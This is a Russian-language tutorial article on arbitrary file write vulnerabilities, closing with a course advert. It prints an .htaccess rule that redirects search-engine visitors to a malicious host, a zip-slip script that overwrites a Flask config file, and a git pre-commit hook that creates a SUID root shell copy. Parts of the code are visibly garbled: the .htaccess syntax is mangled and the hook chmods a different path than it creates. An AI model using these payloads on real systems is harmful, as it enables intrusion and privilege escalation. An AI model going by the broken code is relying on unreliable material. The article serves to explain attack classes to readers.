Мир уязвимостей достаточно многообразен. Обычно хакеры стараются добиваться своих целей с помощью уязвимостей эксплуатации произвольного кода, та самая аббревиатура RCE. Но на практике часто для того, чтобы выполнить свой код необходимо сначала выполнить запись в нужный файл. И здесь нам на помощь приходит другой тип уязвимостей Arbitrary File Write (AFW). Это уязвимости произвольной записи файлов (AFW). Они могут стать достаточно мощным инструментом в руках атакующего, например, при атаке на веб сайт, или при поднятии привилегий в ОС. Также AFW могут использоваться при реализации атак удаленного выполнения кода.
Однако, на практике возможны различные ситуации, когда злоумышленнику необходимо реализовать разные сценарии эксплуатации найденных уязвимостей. Например, возможен вариант, когда он может контролировать полный путь к файлу или только имени файла. То есть, хакер может контролировать весь путь к файлу или имя загруженного файла, но не его содержимое. В зависимости от разрешений, примененных к целевому каталогу и целевому приложению, последствия могут варьироваться от отказа в обслуживании до вмешательства в логику приложения с целью обхода потенциально важных для безопасности функций.
Или возможна обратная ситуация, когда злоумышленник может контролировать содержимое загруженного файла, но не путь к файлу. В этом случае последствия могут сильно различаться из-за множества факторов и прежде всего из-за того, как обрабатывается в атакуемой системе загруженный файл.
И, наконец, полная произвольная запись файла: злоумышленник может контролировать как путь, так и само содержимое загружаемого файла. Это, конечно, наилучший вариант для атакующего, но так бывает не всегда.
AFW и Web
Основным направлением для атак с произвольной записью файлов являются атаки на веб ресурсы. В случае если нерадивые администраторы не слишком безопасно сконфигурировали веб сервер, то мы можем перезаписать к примеру файлы конфигурации .htaccess. В данном файле можно сделать перенаправление пользователей на фишинговые или вредоносные ресурсы, с его помощью можно добавить вредоносный код на веб ресурсы, хостящиеся на данном веб сервере.
Еще одна вредоносная модификация .htaccess представлена в примере конфигурации ниже.
RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .task.com. * $ [NC, OR] RewriteCond % (HTTP_REFERER}
.*google.* $ [NC,OR] RewriteCond %{HTTP_REFERER} .*yandex.ru* $ [NC, OR]
RewriteCond % (HTTP_REFERER} .bing.com* $ [NC, OR] RewriteCond % (HTTP_REFERER}
.*ya.ru* $ [NC, OR] RewriteCond %{HTTP_REFERER} .*aol.com* $ [NC, OR] RewriteCond
%{HTTP_REFERER} .*altavista.com* $ [NC, OR] RewriteCond % (HTTP_REFERER} .*excite.com*
$ [NC, OR] RewriteCond %{HTTP_REFERER} .*search.yahoo* $ [NC] RewriteRule
.* http://Malicious Domain.tld/bad.php?t=3 [R,L]
Данный код пытается определить отправителя запроса. Если это популярная онлайн-поисковая система, они перенаправляют запрос на свой вредоносный веб-сайт с доменом .tld для того, чтобы загрузить вредоносный скрипт bad.php. Например, для удаленного управления сервером:
![](https://habrastorage.org/getpro/habr/upload_files/9eb/3f9/ee2/9eb3f9ee2072e609f681a290171e71ac.png)
Помимо подмены конфигурационных файлов веб сервера, мы можем также подменить файлы для различных фреймворков. Так, если наше приложение написано на Python с использованием Flask, то у него обязательно есть каталог под названием config. В этом каталоге уже есть файлы __init__.py и settings.py. Основной серверный файл server.py импортируется settings.py из каталога config, это означает, что если мы сможем записать код в config/__init__.py, мы сможем добиться выполнения кода. Например, мы можем создать полезную нагрузку, используя следующий код:
import zipfile
z_info = zipfile.ZipInfo(r"../config/__init__.py")
z_file = zipfile.ZipFile("/home/user/Desktop/bad.zip", mode="w")
z_file.writestr(z_info, "print 'test'")
z_info.external_attr = 0777 << 16L
z_file.close()
Загружаемые файлы извлекаются в каталог uploads. Мы можем создать вредоносное имя файла с помощью zipfile.ZipInfo(). Здесь мы задаем имя файла как ../config/__init__.py чтобы перезаписать __init__.py внутри каталога конфигурации. А z_info.external_attr = 0777 << 16L установит разрешение на чтение и запись файла для всех пользователей. Далее мы можем подготовить zip-файл и загрузить его в уязвимое веб-приложение для дальнейшего развития атаки.
Думаю, приведенных выше примеров достаточно для понимания опасности атак с произвольной записью файлов. Собственно, помимо конфигурационных файлов можно также подменять временные файлы и файлы окружения (например, venv), сериализованные файлы, создающиеся в процессе работы скриптов, во время пользовательских сеансов. Да и в специализированной файловой системе procfs можно произвести множество манипуляций для выполнения произвольного кода. И кроме того, не стоит забывать о скриптах Bash, планировщике Cron и всевозможных файлах профилей и настроек в ОС.
Для того, чтобы представителям защиты не было слишком грустно, стоит отметить, что только очень небольшой набор этих тактик может быть использован в случаях частичного контроля над содержимым файлов в веб-приложениях. Конкретные используемые методы будут зависеть от конкретного приложения и конфигурации сервера, поэтому важно понимать уникальные уязвимости и векторы атак, которые присутствуют в системах жертв.
И не только Web
Git репозитории используются множеством разработчиков, однако неаккуратная настройка прав и здесь может привести к не слишком приятным последствиям. В каждом каталоге, с которым работает система контроля версий имеется папка .git и если злоумышленник имеет возможность записи в нее, то он может к примеру настроить собственный Git hook, специальный скрипт-перехватчик Git, который запускается при различных событиях в репозитории. Например, при таких событиях, как создание коммита, слияние и других манипуляциях с кодом. При активной разработке те же коммиты могут выполняться по несколько раз в день и наш hook будет выполняться каждый раз.
Например, можно сгенерировать скрипт в git-репозитории в .git/hooks, чтобы он всегда выполнялся при создании нового коммита:
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
./pre-commit
Здесь мы сначала создаем файл выполняемого скрипта, а затем делаем его выполнимым и, собственно, выполняем.
Заключение
Мы рассмотрели несколько примеров, в которых наличие уязвимости произвольной записи файлов может привести к выполнению произвольного кода. Конечно, далеко не всегда у атакующего есть возможность контролировать как путь к файлу, так и его содержимое, но в некоторых случаях даже возможности просто менять содержимое определенного файла достаточно для выполнения произвольного кода.
Больше актуальных навыков по обеспечению информационной безопасности вы можете получить в рамках практических онлайн-курсов от экспертов отрасли.